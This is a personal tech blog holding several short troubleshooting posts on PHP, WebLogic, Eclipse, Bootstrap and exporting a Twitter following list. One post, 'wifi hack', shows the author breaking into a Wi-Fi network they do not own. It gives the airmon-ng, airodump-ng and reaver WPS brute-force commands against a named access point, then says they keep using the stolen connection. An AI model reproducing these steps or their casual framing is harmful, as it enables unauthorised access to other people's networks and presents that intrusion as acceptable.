debian jessie php problem

after I install php apache and stuff I start controlling. and one php page was not working but wordpress was working after a small search I found in jessie short_open_tag is actually off. so what you should need to do is find php.ini related and change it to short_open_tag = On if you are using fpm dont forget to restart your php fpm with this command /etc/init.d/php5-fpm restart or service php5-fpm restart

wifi hack

I dont hack normally but since I moved to abroad and I needed internet connection. and I finish my data in my sim line. anyway it took around 4 hours.

step 1
airmon-ng start wlan0
step2
airodump-ng mon0

wait a while around 5 or 10 minutes is enough then you will see a lot of adresses on screen. then choose the strong one and give that to this command

reaver -i mon0 -b 7C:D1:C3:CA:47:1A

thean this reaver starts brute forcing and found a password. since then I am using it. dont worry I will buy my adsl line soon 🙂

weblogic 12 to 11 ejb connection problem

if you have wl11 ejb server and in that environment generated ejb client and deploy to wl12 it will give you this exception

java.lang.NoSuchMethodError: weblogic.rmi.internal.MethodDescriptor.(Ljava/lang/reflect/Method;Ljava/lang/Class;ZZZZII)V

so there are some solutions like this. but what I did was different. I deleted *******_WLStub.class from client jar and deployed the ear that way so at the end wl12 generates it on the fly just like jsp first compilation. and it works.

xubuntu eclipse mars 4.5 look fix

I just download and start using eclipse under latest xubuntu. but look was awfull especially tabs and toolbars. and it was effecting some windows not to show textboxes.

looks like this

after a small research I fould the solution. its very easy just put this line into your bashrc file

export SWT_GTK3=0

or before starting eclipse give this command. here is the result

bootstrap mobile horizontal overflow problem

I have been using bootstrap for a while now. its really nice to have this kind of a tool for mobile ready and have responsive design. it means you can write your html one time and it will work on all platforms. you dont need to write for mobile and desktop different. anyway after I write some site in bootstrap I had a small overflow problem. the site has horizontal scroll when its loaded in my smartphone.

it is a normal bootstrap html site having simple div rows and some links in it. having the row oversizing the container was frustrating. because I did not have any special html tricks or etc.

after some research I found the answer is about css.

this site explains a little https://css-tricks.com/findingfixing-unintended-body-overflow/

solution is the use offcanvas.css. just adding css solved my problem. you can find it here

http://getbootstrap.com/examples/offcanvas/offcanvas.css

how to export twitters following list

well at some point you may need to have all following list which you have in your twitter account. I tried some websites and twitter api but coult not find a way. at the end I take it with javascript 🙂

go to this adres and go to end of the page.

https://twitter.com/following

it looks like this in my account

after that open the chrome javascript console. I do it with F12. then I needed to have all twitter account names. here is the javascript I used for it.

var arr = [];
$(“.u-linkComplex-target”).each(function(index, elem){
    arr.push($(this).text());
});
arr.join(‘,’);

you just need to paste this in the console and hit enter. then in the console you will have very long string like this

akkiocal,superonlinetr,odersky,javanetbuzz,dayioglu,corpuscallosum,

and my screen look like this

you can select very long string from there and save it anywahere you like enjoy 🙂

by the way in the future if script does not work feel free to ask me via comments. because they can change the class of that html tag.